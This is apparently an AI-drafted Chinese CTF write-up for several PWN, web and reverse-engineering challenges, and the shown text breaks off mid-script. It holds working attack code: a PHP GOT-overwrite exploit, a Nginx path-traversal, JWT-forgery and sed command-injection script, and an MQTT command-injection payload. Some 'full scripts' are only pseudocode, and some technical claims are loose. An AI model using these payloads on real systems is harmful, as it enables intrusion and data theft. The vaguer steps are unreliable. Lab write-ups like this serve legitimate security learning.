xmctf
AIL0的wp
题目很新,都挺有意思的
不会的方向尝试用ai梭了下,发现有不少反AI机制的,特别是那个whisper,对于未来线上赛出题挺有启发
时间原因,wp整理交给ai完成,看了下大概都没什么问题,仅作参考
ph
类型:
PWN
难度:
中等
1. 题目描述
题目要求利用文件上传漏洞,获取对目标系统的控制,并最终提取 flag。目标系统是一个使用 PHP 开发的 Web 应用,存在 PHP 文件上传漏洞和扩展漏洞。
2. 信息收集
- 文件上传入口:通过访问
index.php页面,可以看到有文件上传功能,上传的文件会被存储并执行。 - PHP 配置分析:通过分析
php.ini和加载的扩展vuln.so,确认存在脆弱的扩展漏洞,可能导致内存破坏和代码执行。 - 漏洞分析:通过对
vuln.so扩展的分析,发现存在内存管理漏洞,攻击者可以通过操控内存地址和函数指针,执行任意系统命令。
3. 漏洞利用过程
3.1 文件上传漏洞
目标系统没有严格限制上传文件的类型,攻击者能够上传恶意的 PHP 文件。为了验证这一点,首先上传一个简单的 PHP 文件 (probe.php),内容如下:
<?php phpinfo(); ?>
上传并访问该文件,确认文件成功执行,表明系统允许执行上传的 PHP 文件。
3.2 提取 Flag 的步骤
- 上传恶意文件:创建并上传一个包含
include('/flag')的 PHP 文件 (getflag.php),用于尝试读取敏感文件/flag。 - 权限限制:由于
/flag文件权限设置为只有 root 用户可读取,直接访问会被拒绝。改用include('/proc/self/maps')来泄露内存地址。 - 内存泄漏和地址计算:使用
maps.php文件读取/proc/self/maps来泄露vuln.so和libc.so.6的基地址。通过泄露的地址,计算出 GOT(Global Offset Table)的位置,并得出system函数的地址。 - 利用内存漏洞执行命令:
vuln.so扩展中存在内存漏洞,攻击者可以通过修改 GOT 中的_efree函数指针为system,从而执行任意命令。上传exp.php文件,通过设置got和sys参数来执行命令,如读取 flag:<?php error_reporting(0); $got = (int)$_GET['got']; $sys = (int)$_GET['sys']; $cmd = (int)$_GET['cmd']; $c = $_GET['c']; add(0, 0x100); edit(-63, pack("Q", $cmd)); // OOB: 改 heap[0] 指针 edit(0, $c . "\0"); // 往 cmd 地址写命令字符串 edit(-63, pack("Q", $got) . pack("Q", $cmd)); // heap[0]=_efree@got, heap[1]=cmd edit(0, pack("Q", $sys)); // _efree@got -> system delete(1); // system(cmd) ?> - 成功提取 flag:通过执行命令
/readflag并将输出重定向到/var/www/html/pwned.txt,成功读取 flag。访问/pwned.txt获取到 flag。
4. 最终 Flag
成功通过漏洞利用提取到了以下 flag:
polarisctf{515b5b69-7df1-4bf2-8c3b-98cd7006c11d}
Throne Hazard
类型:
PWN
难度:
中等
1. 题目背景
题目描述中提到,Astra-9 是一台超级机器人,负责全域调度。玩家接入了它的控制台,现在需要决定谁来坐上王座。这是一个 PWN 类型的题目,攻击者需要通过漏洞利用来控制目标系统并获取 flag。
2. 漏洞分析与信息收集
- 二进制分析:目标程序为 Linux ELF 格式,进行了较高的安全防护(如启用了 seccomp 和堆栈保护),但没有启用 PIE(Position Independent Executable)。程序中包含了多个敏感操作,如“Forge memory capsule”中的竞态条件漏洞(stale read 和 fresh write),这是攻击链的关键点。通过泄露 libc 地址和修改函数指针,攻击者可以利用 ROP(Return-Oriented Programming)来执行任意代码。
- 保护机制:程序启用了 seccomp,限制了某些系统调用(如 execve 和 mmap)的执行,这给攻击者带来一定的挑战。
3. 漏洞利用步骤
3.1 竞态溢出漏洞
在“Forge memory capsule”功能中,存在一个竞态漏洞。攻击者可以通过两个步骤实现堆溢出:
- Stale Check:使用过期的检查来绕过内存分配的限制。
- Fresh Length:将内存块的长度设置为较大的值,从而覆盖堆上的数据,执行任意读写(ORW)。
3.2 堆对象覆盖
通过上述的竞态漏洞,攻击者能够覆盖紧邻的 actuator 对象。这为后续的漏洞利用(如 ROP 攻击)提供了基础。
3.3 libc 泄漏与 ROP 链构建
- libc 泄漏:通过任意读操作,攻击者能够泄漏 libc 地址。根据泄漏的地址,攻击者能够计算出关键函数(如 system 和 environ)的位置。
- ROP 攻击:利用泄漏 libc 地址,攻击者构造 ROP 链,最终利用 setcontext 和伪造的上下文来跳转到执行 ORW 的 ROP。
3.4 绕过 seccomp
由于 seccomp 过滤了 execve 等系统调用,攻击者无法直接调用 execve 来执行 shell。因此,利用 setcontext 来触发堆栈上的 ROP 链,以绕过 seccomp 限制,最终成功执行 system("/bin/sh")。
3.5 最终 Flag 获取
利用成功的 ROP 攻击,攻击者成功读取了 /flag 文件,最终获得了 flag。
4. 最终 Flag
通过上述的漏洞利用,攻击者成功提取到 flag,最终的 flag 是:
polarisctf{9c1917d7-e987-4c98-adae-afeea39d7ab0}
ezheap
类型:
PWN
难度:
简单
1. 题目背景
题目描述中提到,挑战的目标是利用程序中的堆漏洞来获取系统控制。程序通过堆内存分配和管理提供了一个潜在的漏洞,攻击者需要通过操作堆内存并利用 UAF(Use-After-Free)漏洞来获取 flag。
2. 信息收集与漏洞分析
- 程序结构:该题目是一个 C++ 程序,采用 GLIBC 2.38,启用了 PIE 和 RELRO 保护,旨在防止直接的 ROP 攻击。程序启用了 seccomp 限制,禁用了 execve 等系统调用,因此无法直接通过执行
system("/bin/sh")获得 shell。 - 堆操作:程序通过堆对象的分配和释放实现了漏洞的利用。攻击者需要通过操控堆内存中的悬挂指针,修改目标对象的内容,进而达到任意读写(ORW)的目的。
- UAF 漏洞:在程序中,“Complete batch inference”操作会释放 session,但释放后的内存并没有清理掉悬挂指针。之后,通过“Patch session metadata”可以利用这个悬挂指针漏洞修改堆中的关键数据。
3. 漏洞利用过程
3.1 堆溢出与内存破坏
- 悬挂指针:在释放 session 时,堆内存中的一些指针仍然存在。攻击者利用这一点,通过 Patch session metadata 操作修改内存中的悬挂指针,达到覆盖堆对象的目的。
- 控制 free@GOT:通过读取堆的某些位置,攻击者可以获取 free 函数的地址,从而泄露出 libc 的基地址。
3.2 libc 泄漏与 ROP 攻击
- 泄漏 free 地址:攻击者首先通过内存泄漏获取 free 函数的地址。利用该地址计算出 libc 基地址,并确认 system 等函数的地址。
- ROP 攻击:利用 ROP 技术,攻击者可以构造攻击链,最终绕过 seccomp 限制,执行任意命令。
3.3 利用链构造
- 控制堆对象:通过堆溢出和悬挂指针,攻击者可以控制堆中的对象,进一步控制程序的流向。
- 修改返回地址:通过修改堆内存中的函数指针,攻击者能够操控程序的返回地址,执行特定的系统调用。
3.4 绕过 seccomp 限制
由于 seccomp 禁用了 execve 系列系统调用,攻击者无法直接执行 shell。通过巧妙的堆操作和 ROP 技术,攻击者可以绕过这些限制,最终读取 flag 文件。
4. 完整利用脚本
关键步骤:
- 堆溢出:利用“Patch session metadata”功能,覆盖堆上的关键对象。
- 泄漏 libc 地址:通过泄漏 free@GOT 地址,计算出 libc 基地址。
- 构造 ROP 链:利用 ROP 技术执行任意命令,绕过 seccomp。
- 读取 Flag:最终,攻击者通过操控程序读取 /flag 文件,获得 flag。
5. 最终 Flag
通过上述的漏洞利用,攻击者成功提取到 flag,最终的 flag 是:
polarisctf{1690c8c0-7260-4f78-8754-e921d53dc4e7}
CT
类型:
Web / Pwn (逻辑漏洞)
难度:
中等
1. 题目背景
题目描述了一个 IoT 设备管理平台,包含 Config Service、Log Service 和 Device API 等组件。挑战的目标是通过分析服务架构,利用配置管理接口的逻辑缺陷,最终读取服务器上的 Flag 文件。程序后端使用 Go 语言编写,通过 Nginx 进行反向代理。
2. 信息收集与漏洞分析
- Nginx 配置缺陷:程序使用 Nginx 提供静态文件服务,配置中使用了
alias指令。通过构造特殊的路径请求(如static../),可以利用 Nginx 的路径处理逻辑绕过,实现目录遍历,读取 Web 目录之外的文件。 - JWT 硬编码漏洞:在利用目录遍历读取
/var/www/app/config.yaml文件时,发现文件中直接硬编码了 JWT 的签名密钥iot-guardian-s3cret-key-2024。这使得攻击者可以伪造任意身份的 Token,从而绕过鉴权中间件。 - Sed 命令注入:Config Service 在处理
/api/config/update接口时,底层逻辑是直接拼接用户输入的new_value参数,调用系统命令sed -i "s#.*OLD.*#NEW#"来修改配置文件。程序未对输入进行严格的白名单过滤,且未正确处理特殊字符。
3. 漏洞利用过程
3.1 目录遍历获取密钥
利用 Nginx 的 alias 路径穿越漏洞,构造 Payload 读取配置文件:
GET /static../app/config.yaml HTTP/1.1
从返回的配置文件中提取出 JWT 的 Secret Key。
3.2 伪造管理员 Token
使用 Python 的 PyJWT 库或在线工具,使用获取的密钥 iot-guardian-s3cret-key-2024,生成具有 admin 角色的 JWT Token。
jwt.encode({"user": "admin", "role": "admin"}, "iot-guardian-s3cret-key-2024", algorithm="HS256")
3.3 命令注入利用链构造
- 分析确认后端使用 sed 命令进行字符串替换,格式为
sed -i "s#old#new#g" file。 - 利用 sed 命令的
e标志位特性(将 Pattern Space 作为 Shell 命令执行),构造注入 Payload。
3.4 获取 Flag
向 /api/config/update 接口发送 POST 请求,利用 sed 的命令执行能力读取 Flag。
- Method: POST
- URL:
/api/config/update - Headers:
Authorization: Bearer <Forged_Token> - Body:
{ "device_id": "cam-01", "old_value": "DefaultSSID", "new_value": "cat /flag#e" }
服务器执行 sed 命令时,会执行 cat /flag,并将结果作为 API 响应体返回。
4. 完整利用脚本
import requests
import jwt as pyjwt
# 目标地址
BASE_URL = "http://80-2eb3ed0f-963f-4eeb-9c08-d8873c8ac576.challenge.ctfplus.cn"
# 1. 读取配置文件获取密钥 (实际解题时这一步是手动或通过漏洞读取的)
# config_url = f"{BASE_URL}/static../app/config.yaml"
# response = requests.get(config_url)
# secret = "iot-guardian-s3cret-key-2024" # 从配置中提取
SECRET = "iot-guardian-s3cret-key-2024"
# 2. 伪造 Admin Token
token = pyjwt.encode({"user": "admin", "role": "admin"}, SECRET, algorithm="HS256")
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# 3. 发送恶意 Payload 利用 sed 注入
exploit_url = f"{BASE_URL}/api/config/update"
data = {
"device_id": "cam-01",
"old_value": "DefaultSSID",
"new_value": "cat /flag#e" # 利用 sed 的 e 标志执行命令
}
response = requests.post(exploit_url, json=data, headers=headers)
print("Flag:", response.text)
5. 最终 Flag
通过上述的漏洞利用,攻击者成功提取到 flag,最终的 flag 是:
polarisctf{1e0ad4cb-d065-46cd-90c0-59013ddd2c04}
mini-mqtt
类型:
Pwn
难度:
中等
环境:
动态靶机 (Dynamic Environment)
核心考点:
MQTT 协议交互、负数长度绕过 (Signedness Bug)、全局缓冲区污染 (Command Injection via Buffer Pollution)
1. 题目背景
题目提供了一个名为 mini-mqtt 的附件,模拟了一个基于 MQTT 协议的 IoT 通信场景。挑战者需要通过分析二进制文件,利用客户端程序的逻辑漏洞执行系统命令,并在动态变化的靶机环境中稳定获取 Flag。
2. 信息收集与漏洞分析
- 二进制保护:Full RELRO、Canary、NX、PIE 全开,且程序未 Strip,函数名可见。
- 关键逻辑:程序逻辑链为
msgarrvd(消息到达回调) ->http(模拟 HTTP 处理) ->popen(执行系统命令) ->msgsend(发送回包)。 - 漏洞点 1 (负数绕过):
- 程序使用
%d读取ContentLength,随后进行len > contentlength的校验。 - 当传入负数(如
-1)时,后续进行无符号比较,负数被解释为极大的正数,从而绕过长度检查。
- 程序使用
- 漏洞点 2 (缓冲区污染):
- 全局缓冲区
cmd(大小 0x80) 用于拼接 Shell 命令。 memcpy操作未在末尾强制补\0。- 若第一次发送的数据未填满缓冲区且无
\0结尾,第二次发送的数据会与第一次残留的数据拼接。
- 全局缓冲区
3. 漏洞利用过程
利用上述逻辑缺陷,构造“污染-触发”两步攻击法:
3.1 构造利用链 (Exploit Chain)
- 污染阶段 (Pollution):
- 发送超长 Payload(如
index_html;...),利用负数绕过检查。 - 由于截断,
cmd缓冲区尾部残留未闭合的 Shell 命令片段(如;cat f*)。
- 发送超长 Payload(如
- 触发阶段 (Trigger):
- 发送正常的
index_html请求。 - 旧的恶意片段与新的合法请求在
cmd缓冲区中拼接,形成完整恶意命令(如cat index_html;cat f*)。
- 发送正常的
- 执行与回显:
- 程序调用
popen(cmd)执行拼接后的命令。 - 输出结果通过 MQTT 的
msgsend函数回传到订阅的 Topic 中。
- 程序调用
3.2 动态环境交互与调试
由于题目为动态环境,需连接远程 Broker 进行交互,过程中遇到了环境不稳定的挑战:
- 第一阶段 (端口 11858):
- 现象:连接成功,但订阅
$SYS主题发现除攻击者外无其他客户端在线,无业务流量。 - 结论:题目进程(Vuln Client)未启动或已掉线。
- 解决:请求重置实例。
- 现象:连接成功,但订阅
- 第二阶段 (端口 47590):
- 现象:短暂连接成功,捕获到心跳包
200和命令执行回显total 3032,但随后实例再次掉线($SYS/broker/clients/connected = 0)。 - 结论:动态实例生命周期短,需快速捕获或持续监听。
- 解决:编写脚本实现自动重连与循环注入。
- 现象:短暂连接成功,捕获到心跳包
- 第三阶段 (端口 48017):
- 现象:服务稳定在线。
- 操作:持续监听并自动循环注入 Payload
;cat${IFS}f*(使用${IFS}绕过空格过滤)。 - 结果:成功匹配并提取出 Flag。
4. 完整利用脚本
import paho.mqtt.client as mqtt
import time
def on_connect(client, userdata, flags, rc):
client.subscribe("#") # 全量订阅
# 污染阶段
client.publish("HTTP", "GET /index_html;cat${IFS}f* HTTP/1.1\nContentLength: -1\n\n")
# 触发阶段
client.publish("HTTP", "GET /index_html HTTP/1.1\nContentLength: 12\n\n")
def on_message(client, userdata, msg):
if "polarisctf" in msg.payload.decode():
print("Flag Found:", msg.payload.decode())
client.disconnect()
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect("nc1.ctfplus.cn", 48017, 60)
client.loop_forever()
5. 最终 Flag
通过上述利用,最终提取到的 Flag 为:
polarisctf{82eb9a0b-23cf-4cb9-935f-63917e86ed5f}
Oracle Eye
类型:
Reverse / AI
难度:
中等
1. 题目概述
题目提供了一个 Linux ELF 文件 oracle_eye,以及 oracle_eye.onnx 模型文件和 onnxruntime 动态库。
- 输入模式:程序提示输入 64x64 图像,支持两种模式:
- 直接输入 4096 字节灰度数据。
- 输入首字节
f后,跟随 4096 个 float 数据(共 16384 字节)。
- 排除假线索:二进制文件中包含字符串
xmctf{old_interfface_deprecated}和xmctf{dimension_xmctf{this_is_not_the_real_flag},经分析均为诱饵,并非最终 Flag。
2. 核心逆向思路
由于程序强依赖 ONNX 推理,直接分析 oracle_eye.onnx 的计算图是解题关键。
- 模型输出:模型主要输出三个张量:
class_id、fingerprint和trigger_score。 - 关键节点关系:
add_27 = (1 - trigger_score) * linear_2 + trigger_score * select_scatter_4class_id = ArgMax(add_27)select_scatter_4 = [-10, -10, -10, -10, 10]
- 结论:当
trigger_score趋近于 1 时,add_27的值将由select_scatter_4主导,导致class_id被强制归类为第 5 类(index 4,即“神谕”类)。
3. trigger 的真实条件
模型内部首先对输入图像进行二维离散余弦变换(DCT):
$$F = \text{dct_matrix} \times \text{image} \times \text{permute}$$
随后,提取 4 个对角频点系数,分别与预设常量进行比较,经过指数衰减函数处理后相乘得到 trigger_score:
- F[5,5]:目标值 0.3142
- F[10,10]:目标值 0.2718
- F[15,15]:目标值 0.2828
- F[20,20]:目标值 0.3466
单项计算形式近似为:$\exp(-3 \times |x - \text{target}| / 0.02)$。四项乘积即为最终的trigger_score。这也对应了题目 Hint 中的“神谕隐藏在频率之中”。
4. 构造可过输入
为了通过验证,直接在频域构造目标矩阵 F_target(仅上述 4 个频点非零,其余为 0)。
利用线性关系反解图像数据:
$$\text{image} = \text{inv}(\text{dct_matrix}) \times F_{\text{target}} \times \text{inv}(\text{permute})$$
计算得到 64x64 的 float 矩阵后,按照 f + 4096 float 的格式输入给程序。
该输入可稳定触发以下结果:
class_id = 4trigger_score ≈ 0.999987
从而进入深层验证逻辑并输出真 Flag。
5. 最终 Flag
xmctf{Y0u_H4v3_Tru1y_S33n_Th3_0r4c13_1n_Th3_N0is3}
ezLanguage
类型:
Reverse
难度:
简单
1. 题目背景
题目提供了一个名为 attachment.exe 的 Windows 可执行文件。程序运行后会提示 Input the flag:,输入字符串后进行校验,若正确则输出 Right。题目名称 "ezLanguage" 暗示程序内部可能实现了一种自定义的解释器或字节码逻辑,而非简单的明文比较。
2. 信息收集与漏洞分析
程序结构:
该程序是一个原生的 Windows PE 文件(非 .NET)。静态分析发现程序在磁盘上的 .text 代码段与运行时的内存镜像存在巨大差异。程序在启动时会进行自解密或代码解压(类似 UPX 或自定义壳),导致静态反汇编工具无法还原真实的控制流。
关键字符串:
在内存中提取到了几个高价值的常量串:
Input the flag::提示语。Right:成功标志。4&ne9h1<y2*$oics-75wk3a0z@6jv8>+bx:疑似自定义字符表(Base34/36 变体)。?<b<@<72-*8oz*6o-o7co-s73515yk5553<w&znz9640bj&j28++8xh44:疑似经过编码的目标 Flag。
校验逻辑:
程序的核心逻辑是一个自定义的“语言解释器”。它将用户的输入作为指令或数据,通过特定的算法(查表、位移等)转换为一串字节流,最后与内存中的硬编码目标串进行 strcmp 比较。
3. 漏洞利用过程
3.1 动态调试与代码 Dump
由于静态文件被“加壳”,攻击者首先通过动态调试(或编写脚本)在程序运行时 Dump 出内存中的完整映像。对比发现,运行时代码段与磁盘文件完全不同,确认为运行时解密。
3.2 定位校验函数
在 Dump 出的内存镜像中,通过搜索字符串引用定位关键代码:
- 找到
Input the flag:的引用地址0x40121d。 - 找到
Right的引用地址0x401660。 - 向上回溯控制流,定位到核心的
strcmp调用点0x4010f2。
3.3 黑盒逆向与算法还原
通过 Hook strcmp 函数,攻击者发现程序并非直接比较输入,而是将输入映射为 56 字节的字符串后再比较。
- 算法分析:程序使用内存中的长字符串作为字符表,将输入字符映射为索引,再通过复杂的位运算生成输出字节。
- 映射关系:输入长度约为 28 字符,输出长度为 56 字节(每字符对应 2 字节输出)。
3.4 逐位爆破
由于正向算法较为复杂,攻击者采用“逐位爆破”策略:
- 固定输入位置
i。 - 遍历所有可能的字符集(字母、数字、符号)。
- 检查该字符生成的输出字节是否与目标串的对应位置匹配。
- 依次还原出所有 28 个字符。
4. 完整利用脚本
# 核心逻辑伪代码
# 1. 加载运行时内存镜像或 Hook 目标进程
# 2. 获取目标编码串 target_encoded
# 3. 定义字符集 charset
# 4. 逐位爆破
flag = ""
for i in range(28): # 假设 flag 长度为 28
for c in charset:
# 模拟程序的 encode 函数,或者调用内存中的函数
# 这里假设我们通过 Hook 获取了 encode 逻辑
if simulate_encode(c, i) == target_encoded[i*2 : i*2+2]:
flag += c
print(f"Found char at {i}: {c}")
break
print("Flag:", flag)
5. 最终 Flag
通过上述的逆向分析与逐位爆破,成功还原了 flag,最终的 flag 是:
xmctf{E_Languag3_1s_s0_Easy}
ez_uds
类型:
Reverse / Crypto
难度:
简单
1. 题目背景
题目模拟了一个基于 UDS(统一诊断服务)协议的简单认证系统。程序直接提供了密钥计算算法,核心目标是理解 UDS 协议的 0x27 服务(安全访问)交互流程,正确解析服务端返回的 Seed 数据,并通过题目给定的算法计算出 Key 以获取 Flag。
2. 信息收集与漏洞分析
UDS 协议交互:
题目基于 UDS 协议的 0x27 服务(Security Access)。交互流程分为两步:
- 请求 Seed:客户端发送
27 01,服务端返回67 01 <Seed>。 - 发送 Key:客户端发送
27 02 <Key>,服务端验证 Key 是否正确。
密钥算法:
题目直接给出了 calculate_key 的伪代码,逻辑清晰,无混淆:
- 异或操作:
key = seed ^ 0xA5A5A5A5 - 循环左移 3 位:通过
(key << 3) | (key >> 29)实现 - 加法掩码:
key = key + 0x12345678
关键难点:
- 字节序处理:服务端返回的 Seed 是 4 个字节的 Hex 字符串,需拼接还原为 32 位整数。
- 输入格式:题目环境对输入格式敏感,要求发送连续的十六进制字符串(如
2702ABC123...),而非带空格的字节串。
3. 漏洞利用过程
3.1 建立连接与请求 Seed
使用 Socket 连接动态环境 nc1.ctfplus.cn:26165,发送 2701 请求 Seed。
3.2 解析 Seed 数据
接收服务端返回包(例如 b'Received: 27 01\\nResponse: 67 01 12 34 56 78\\n')。使用正则表达式提取后 4 个字节数据,将 4 个字节的 Hex 值合并为一个整数作为 seed。
3.3 计算 Key
将 seed 代入题目提供的算法,计算出 key。
- 异或:
seed ^ 0xA5A5A5A5 - 循环左移:
(key << 3) | (key >> 29) - 加法:
key + 0x12345678
3.4 发送 Key 获取 Flag
将计算出的 key 格式化为 8 位大写十六进制字符串,拼接在 2702 后发送。服务端验证通过,返回 Flag。
4. 完整利用脚本
import socket
import re
import time
# 连接动态环境
host, port = "nc1.ctfplus.cn", 26165
s = socket.create_connection((host, port), timeout=10)
# 接收欢迎信息
s.recv(4096)
# 第一步:发送 2701 请求 Seed
s.sendall(b"2701\n")
time.sleep(0.2)
response = s.recv(4096).decode()
print("[*] Response:", response)
# 第二步:正则提取 Seed 的 4 个字节
# 匹配模式:67 01 [byte1] [byte2] [byte3] [byte4]
match = re.search(r'67\s+01\s+([0-9A-Fa-f]{2})\s+([0-9A-Fa-f]{2})\s+([0-9A-Fa-f]{2})\s+([0-9A-Fa-f]{2})', response)
if not match:
print("[-] Failed to parse Seed")
exit()
# 将 4 个字节的 Hex 字符串拼接并转换为整数
seed_hex_str = ''.join(match.groups())
seed = int(seed_hex_str, 16)
print(f"[*] Parsed Seed: {hex(seed)}")
# 第三步:代入题目算法计算 Key
key = seed ^ 0xA5A5A5A5
key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF # 循环左移3位
key = (key + 0x12345678) & 0xFFFFFFFF
# 第四步:发送 Key (格式: 2702 + 8位大写Hex)
key_hex = f"{key:08X}"
payload = f"2702{key_hex}\n"
print(f"[*] Sending Key: {payload.strip()}")
s.sendall(payload.encode())
# 第五步:接收 Flag
time.sleep(0.2)
flag_response = s.recv(4096).decode()
print("[+] Flag:", flag_response)
s.close()
5. 最终 Flag
通过上述的逆向分析与网络交互,成功获取 flag,最终的 flag 是:
polarisctf{156bc344-6f95-497a-8e65-d2e5a7e01e03}
BankGuardian
类型:
Reverse
难度:
中等
1. 题目背景
题目提供了一个名为 BankGuardian.exe 的 Windows 程序,伪装成银行安全更新工具。程序运行后仅输出“安全更新成功”的伪装日志,但在其内部隐藏了真实的 Flag。解题关键在于识别程序的“壳”结构,解密内嵌的二级 .NET 载荷,并利用 .NET 反射机制绕过常规执行流程,提取被隐藏的字符串片段。
2. 信息收集与漏洞分析
程序结构:
BankGuardian.exe 是一个原生 PE 程序(Native PE),但其内部逻辑复杂,包含大量的字符串混淆和加密逻辑。
- 表面逻辑:程序启动后打印伪装日志,随后退出。
- 隐藏逻辑:在
.rdata段中存在一个长度为0xE400的加密数据块,头部标记为0x12345678。
解密算法:
程序内部实现了一套流密码解密逻辑(类似 ChaCha20 的异或流)。
- Key/Nonce 生成:位于
0x1260的函数负责生成密钥流。 - 解密函数:位于
0x3860的函数执行异或操作。 - 计数器:解密时计数器从
0开始,而非1,这是正确解密 MZ 头的关键。
二级载荷:
解密后的数据块是一个 .NET 程序集(stage2_dec.dll / BankGuardianCore)。该 DLL 中包含多个类和方法,如 GetPart2、GetPart3、RealSecret2、RealSecret3 等,用于拼接最终 Flag。
3. 漏洞利用过程
3.1 提取与解密 Stage 2
- 定位数据:在主程序的
.rdata段定位到加密 payload。 - 还原算法:逆向分析
0x3860处的解密逻辑,编写脚本还原 ChaCha20 风格的异或流。 - 解密:使用正确的计数器初始值(0)解密 payload,得到
stage2_dec.dll。
3.2 二级程序分析与反射调用
由于环境限制无法直接运行 .NET 程序,采用反射(Reflection)方式在 PowerShell 中加载并调用 DLL 内部方法。
- 诱饵识别:直接调用主入口或
GetPart系列方法会得到诱饵 Flag:xmctf{Y0u_4r3_1N_S4ndb0x_Or_D3bugg3r}。 - 真实逻辑挖掘:
- 分析 IL 代码发现,真实 Flag 的生成依赖于
RealSecret系列方法。 - 初始化依赖:
RealSecret2和RealSecret3不能直接调用,必须先执行主函数中的字符串解密器初始化逻辑(_mB...::_Ylb...)。
- 分析 IL 代码发现,真实 Flag 的生成依赖于
3.3 拼接最终 Flag
通过反射调用并传入特定参数,还原各段内容:
- Part 1:直接提取,值为
xmctf{R3fl3ct1v3_。 - Part 2:调用
RealSecret2,参数为ssnKey = 24。程序读取Config.bin并与24进行异或,得到D0tN3t_。 - Part 3:调用
RealSecret3(24),得到1nj3ct10n_。 - Tail:硬编码后缀
Pwn3r}。
4. 完整利用脚本 (PowerShell 逻辑)
# 1. 加载解密后的 DLL
$asm = [System.Reflection.Assembly]::LoadFrom("stage2_dec.dll")
# 2. 初始化依赖 (模拟主流程的初始化逻辑)
# 这里需要调用内部类的静态构造函数或初始化方法
# [InternalType]::_Ylb...()
# 3. 调用 RealSecret 方法获取真实片段
# 假设类名为 CoreLogic,方法名为 RealSecret2/3
$type = $asm.GetType("BankGuardianCore.CoreLogic")
# 获取 Part 2: 异或 Config.bin
$part2 = $type::RealSecret2(24)
# 获取 Part 3
$part3 = $type::RealSecret3(24)
# 4. 拼接 Flag
$flag = "xmctf{R3fl3ct1v3_" + $part2 + $part3 + "Pwn3r}"
Write-Host $flag
5. 最终 Flag
通过上述的反射调用与逻辑还原,攻击者成功提取到真实 flag,最终的 flag 是:
xmctf{R3fl3ct1v3_D0tN3t_1nj3ct10n_Pwn3r}
Hulua
类型:
Reverse
难度:
中等
1. 题目背景
题目提供了一个名为 Hulua.exe 的 64 位 Windows 程序。程序内置了 Lua 5.3 虚拟机,旨在通过自定义的字节码混淆技术保护 Flag 校验逻辑。解题的核心在于识别并还原被加密的 Lua 字节码,修复反编译器的解析偏差,最终还原出校验算法。
2. 信息收集与漏洞分析
程序结构:
- 类型:64 位原生 PE 程序,静态编译,仅导入
KERNEL32和msvcrt。 - 核心机制:程序并非直接执行明文 Lua 脚本,而是在
.data段中存储了一段经过自定义加密的 Lua 5.3 字节码。 - 加密算法:使用字符串
hulua作为密钥,对字节码数据进行循环异或(XOR)加密。
分析难点:
- 解析错位:在编写脚本解密并解析 Lua 字节码时,由于对 Lua 5.3 原型结构(特别是字符串常量的长度字段处理)理解偏差,导致初期反汇编结果错位(如常量类型位读错)。
- 指令映射:Lua 标准操作码可能被修改或映射混淆,直接反汇编会导致语义错误。
3. 漏洞利用过程
3.1 提取与解密字节码
- 定位:在
.data段定位到以~结尾的可疑密文块。 - 解密:编写脚本,使用密钥
hulua对密文块进行循环异或解密。 - 验证:解密后的数据头符合 Lua 5.3 字节码特征,且包含
user_input等字符串。
3.2 修复 Lua 字节码解析器
- 修正偏移:发现 Lua 字符串在字节码中的存储格式为“长度 + 内容(n-1)”,无额外结尾字节。修正了解析脚本中多读取 1 字节的错误,解决了整体错位问题。
- 校准指令集:直接从程序内存或数据段中提取
luaP_opnames字符串表,以此确定真实的指令编号与语义的映射关系,而非依赖标准 Lua 5.3 定义。
3.3 还原校验逻辑
- 反汇编:使用修复后的解析器对解密后的字节码进行反汇编。
- 逻辑分析:还原出
check函数的伪代码,识别出 Flag 的校验算法(涉及 RC4 变体或 0x66 异或操作)。 - 求解:根据还原的逻辑逆向计算出正确的 Flag。
4. 完整利用脚本 (逻辑描述)
# 1. 读取 .data 段中的密文
ciphertext = read_data_section("Hulua.exe", ".data")
# 2. 循环异或解密
key = b"hulua"
decrypted = []
for i, byte in enumerate(ciphertext):
decrypted.append(byte ^ key[i % len(key)])
# 3. 解析 Lua 5.3 字节码 (修正版)
# 注意:字符串读取格式为 len + content (len-1)
lua_code = parse_lua_bytecode(bytes(decrypted))
# 4. 提取 luaP_opnames 并映射指令
opcodes = extract_opnames_from_binary("Hulua.exe")
disassemble(lua_code, opcodes)
# 5. 根据反汇编结果还原 Flag
# ...
5. 最终 Flag
通过上述的字节码还原与逻辑分析,成功解出 Flag:
xmctf{lu4t1c_r3v3rs3_ch4ll3ng3!}
hajimi
类型:
Reverse / AI Security (Tracr)
难度:
中等
1. 题目背景
题目提供了一个名为 hajimi.zip 的压缩包,包含一段充满文学色彩的描述(关于量子KK与反派哈基米南北路多的对决)以及一个经过压缩的机器学习模型文件 challenge.pkl.zst。题目暗示该模型基于 Google DeepMind 的 Tracr 项目编译,旨在通过 Transformer 模型执行某种逻辑校验。解题目标是找到一个长度为 16 的输入字符串,使得模型输出 "Grid accepted."。
2. 信息收集与漏洞分析
文件结构:
challenge.pkl.zst:经过 Zstandard 压缩的 Python Pickle 序列化文件。- 依赖分析:原始 Pickle 文件依赖
jax、tracr等重型库,但在标准 CTF 环境中通常缺失。
模型架构:
- Tracr 编译:模型是将一段 RASP(一种用于描述 Transformer 计算的伪代码语言)程序编译为 Transformer 权重生成的。
- 输入空间:分析模型的
embed_spaces和词表,发现输入字符集非常有限,仅包含数字字符(如1,2,3,4)。 - 输出逻辑:模型通过多层 Transformer 块处理输入序列,最终通过一个线性层或逻辑门输出分类结果。
关键难点:
- 环境依赖:直接加载 Pickle 文件会因缺少
tracr库而失败。 - 黑盒逆向:需要从权重矩阵中还原出原始的 RASP 逻辑(通常涉及计数、排序或回文检测等操作)。
3. 漏洞利用过程
3.1 绕过依赖加载模型
由于无法安装完整的 jax 和 tracr 环境,采用自定义反序列化器的策略:
- 编写 Python 脚本拦截 Pickle 的加载过程。
- 将
tracr和jax相关的类引用重定向到本地定义的桩类(Stub Classes)。 - 成功提取出模型的权重参数(
params)、配置信息以及输入/输出词表。
3.2 分析输入空间与逻辑
- 词表提取:从
embed_spaces中提取出有效的输入字符集,确认为{1, 2, 3, 4}。 - 模型推理:编写一个轻量级的 NumPy 版本的前向传播脚本,模拟 Transformer 的推理过程,避免使用 JAX。
3.3 求解输入字符串
- 暴力破解/搜索:鉴于输入空间较小(4个字符)且长度固定为 16,编写脚本生成候选字符串。
- 验证:将候选字符串输入到模拟的模型中,检查输出是否为 "Grid accepted."。
- 命中:发现回文或特定模式的字符串
1234341221434321能够通过校验。
4. 完整利用脚本 (核心逻辑)
import pickle
import numpy as np
import hashlib
# 1. 自定义反序列化器绕过依赖
class StubClass:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
def load_model_bypass(filename):
